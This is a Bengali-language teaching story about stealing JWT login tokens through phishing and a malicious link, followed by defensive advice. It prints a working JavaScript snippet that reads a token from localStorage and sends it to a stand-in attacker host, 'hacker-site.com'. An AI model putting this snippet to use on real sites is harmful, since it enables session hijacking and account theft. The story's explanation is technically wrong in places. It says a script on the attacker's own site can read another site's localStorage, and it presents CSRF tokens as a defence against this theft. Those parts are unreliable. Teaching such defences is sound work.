রহস্যময় টোকেন চুরির কৌশল
শহরের মাঝখানে একটি ছোট ক্যাফেতে, তিন বন্ধুর গল্প শুরু হয়। তাদের নাম আরিফ, রিজভী, এবং মিশু।
- আরিফ: একজন প্রতিভাবান ওয়েব ডেভেলপার, নিজের একটি ই-কমার্স ওয়েবসাইট তৈরি করেছে যেখানে সে JWT টোকেন ব্যবহার করে সুরক্ষিত লগইন ব্যবস্থা চালু করেছে।
- রিজভী: একজন সাধারণ ব্যবহারকারী, যে আরিফের ওয়েবসাইট থেকে পণ্য কিনতে পছন্দ করে।
- মিশু: হ্যাকারদের দলে কাজ করে, অত্যন্ত চতুর এবং সবসময় নতুন নতুন ফাঁদ তৈরি করতে ওস্তাদ।
কাহিনি: টোকেন চুরির কৌশল
একদিন, মিশু লক্ষ্য করল যে আরিফের ওয়েবসাইটটি বেশ জনপ্রিয় হয়ে উঠেছে। মিশু ভাবল, “কেন না একটু মজা করা যাক?” সে একটি ফিশিং ওয়েবসাইট তৈরি করল, যা দেখতে আরিফের আসল ওয়েবসাইটের মতোই। এখানে ছোট একটি প্যাঁচ রেখে দিল, যেটি অনেক ব্যবহারকারী বুঝতে পারবে না।
প্রথম চক্রান্ত: ফিশিং ইমেইল
মিশু একটি ফিশিং ইমেইল পাঠাল রিজভীকে, যেখানে লেখা ছিল:
“প্রিয় রিজভী, আপনার অ্যাকাউন্টের নিরাপত্তার জন্য আমাদের ওয়েবসাইটে লগইন করে পাসওয়ার্ড পরিবর্তন করুন। ক্লিক করুন এই লিংকে: [ফিশিং লিংক]।”
রিজভী মনে করল এটা আসল ইমেইল এবং ক্লিক করে ফিশিং ওয়েবসাইটে ঢুকে পড়ল। ফিশিং সাইটটি দেখতে আরিফের আসল সাইটের মতো হওয়ায় রিজভী বুঝতেই পারল না যে সে ভুল করে অন্য একটি সাইটে ঢুকেছে। রিজভী তার ব্যবহারকারীর নাম ও পাসওয়ার্ড দিয়ে লগইন করল।
দ্বিতীয় চক্রান্ত: টোকেন চুরি
ফিশিং সাইটটি তখন রিজভীর লগইন তথ্য ব্যবহার করে আসল আরিফের ওয়েবসাইটে লগইন করল এবং একটি JWT টোকেন সংগ্রহ করল। মিশু তখন সেই টোকেন চুরি করে তার কাছে সংরক্ষণ করল। এই টোকেনটি ব্যবহার করে মিশু আসল ওয়েবসাইটে রিজভীর পরিচয়ে প্রবেশ করতে সক্ষম হলো।
তৃতীয় চক্রান্ত: লিংকের মাধ্যমে টোকেন চুরি
মিশু আরও একটি চতুর কৌশল ব্যবহার করল। সে একটি ফাঁদ পেতে আরেকটি ম্যালিসিয়াস লিংক তৈরি করল। মিশু সেই লিংকটি কিছু সোশ্যাল মিডিয়া প্ল্যাটফর্মে শেয়ার করল যেখানে লেখা ছিল:
“আপনি কি নতুন অফারের সুযোগ নিতে চান? ক্লিক করুন এই লিংকে: [ম্যালিসিয়াস লিংক]।”
যখন রিজভী বা অন্য কেউ এই লিংকে ক্লিক করল, তখন মিশুর সাইটে একটি স্ক্রিপ্ট চলতে শুরু করল। এই স্ক্রিপ্টটি ব্যবহারকারীর ব্রাউজারের লোকাল স্টোরেজ থেকে JWT টোকেন সংগ্রহ করে মিশুর কাছে পাঠিয়ে দিল। এখন মিশু সেই টোকেন ব্যবহার করে রিজভীর পরিচয়ে ই-কমার্স সাইটে যা খুশি করতে পারল, যেমন পণ্য কেনা বা অন্য গ্রাহকের তথ্য দেখতে পাওয়া।
উদাহরণ: ম্যালিসিয়াস স্ক্রিপ্ট
মিশু একটি ফাঁদ তৈরি করল, যেখানে সে একটি ম্যালিসিয়াস স্ক্রিপ্ট ব্যবহার করল যা রিজভীর ব্রাউজারে লোকাল স্টোরেজ থেকে JWT টোকেন চুরি করে। এই স্ক্রিপ্টটি এমনভাবে তৈরি করা যাতে কেউ একটি নির্দিষ্ট লিংকে ক্লিক করলে এটি স্বয়ংক্রিয়ভাবে কার্যকর হয়ে যায়।
ম্যালিসিয়াস স্ক্রিপ্ট উদাহরণ:
// ম্যালিসিয়াস লিংকে ক্লিক করলে এই স্ক্রিপ্টটি চালু হয়
(function() {
// লোকাল স্টোরেজ থেকে টোকেনটি বের করা
const stolenToken = localStorage.getItem('jwtToken');
// হ্যাকার সার্ভারে টোকেন পাঠানো
if (stolenToken) {
fetch('https://hacker-site.com/steal-token', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ token: stolenToken })
});
}
})();
কিভাবে আরিফ আরও সতর্ক হতে পারত?
১. লোকাল স্টোরেজের পরিবর্তে HTTP-only কুকি ব্যবহার করা: লোকাল স্টোরেজে টোকেন সংরক্ষণ করলে তা সহজে স্ক্রিপ্ট দ্বারা চুরি করা যায়। HTTP-only কুকি ব্যবহার করলে এটি স্ক্রিপ্ট দ্বারা অ্যাক্সেস করা সম্ভব হয় না।
২. CSRF সুরক্ষা: সাইটে CSRF (Cross-Site Request Forgery) প্রোটেকশন যুক্ত করা উচিত যাতে মিশুর মতো হ্যাকাররা সহজে অননুমোদিত রিকোয়েস্ট করতে না পারে।
পাঠ: কী শিখলাম?
এই গল্প থেকে বোঝা যায় যে, সামান্য অসতর্কতা একটি বিশাল নিরাপত্তা ঝুঁকির কারণ হতে পারে। মিশুর মতো হ্যাকারদের ফাঁদ এড়ানোর জন্য টোকেন ব্যবহারে আরও সতর্ক হতে হবে এবং প্রয়োজনীয় নিরাপত্তা ব্যবস্থা গ্রহণ করতে হবে।
কিভাবে এটি কাজ করে:
- লোকাল স্টোরেজ থেকে টোকেন চুরি:
- স্ক্রিপ্টটি
localStorage.getItem()ব্যবহার করে JWT টোকেনটি সংগ্রহ করে নেয়। এখানে ধরে নেয়া হয়েছে যে টোকেনটি লোকাল স্টোরেজেjwtTokenনামে সংরক্ষিত ছিল।
- স্ক্রিপ্টটি
- টোকেন হ্যাকার সার্ভারে পাঠানো:
fetch()মেথড ব্যবহার করে একটি POST রিকোয়েস্টের মাধ্যমে টোকেনটি মিশুর (হ্যাকার) সার্ভারে পাঠানো হয়। এখানেhttps://hacker-site.com/steal-tokenহ্যাকার সার্ভারের URL যেখানে সে টোকেন সংরক্ষণ করবে।
প্রতিরোধের উপায়
এই ধরনের আক্রমণ থেকে বাঁচতে কিছু নিরাপত্তা ব্যবস্থা নিতে হবে:
- HTTP-only কুকি ব্যবহার করুন: টোকেন HTTP-only কুকি হিসাবে সংরক্ষণ করলে স্ক্রিপ্ট বা ক্লায়েন্ট সাইড জাভাস্ক্রিপ্টের মাধ্যমে অ্যাক্সেস করা যাবে না।
- Content Security Policy (CSP) প্রয়োগ করুন: যাতে ম্যালিসিয়াস স্ক্রিপ্ট ইনজেকশন প্রতিরোধ করা যায়। CSP নির্দিষ্ট করে দেয় কোন উৎস থেকে স্ক্রিপ্ট চালানো যাবে।
- CSRF টোকেন ব্যবহার করুন: Cross-Site Request Forgery প্রতিরোধ করার জন্য CSRF টোকেন ব্যবহার করা উচিত।
- পুঙ্খানুপুঙ্খ ইউআরএল ভেরিফিকেশন: ইউজাররা কোথায় ক্লিক করছে, তা যাচাই করতে হবে এবং অবিশ্বাসযোগ্য লিংকগুলো ব্লক করতে হবে।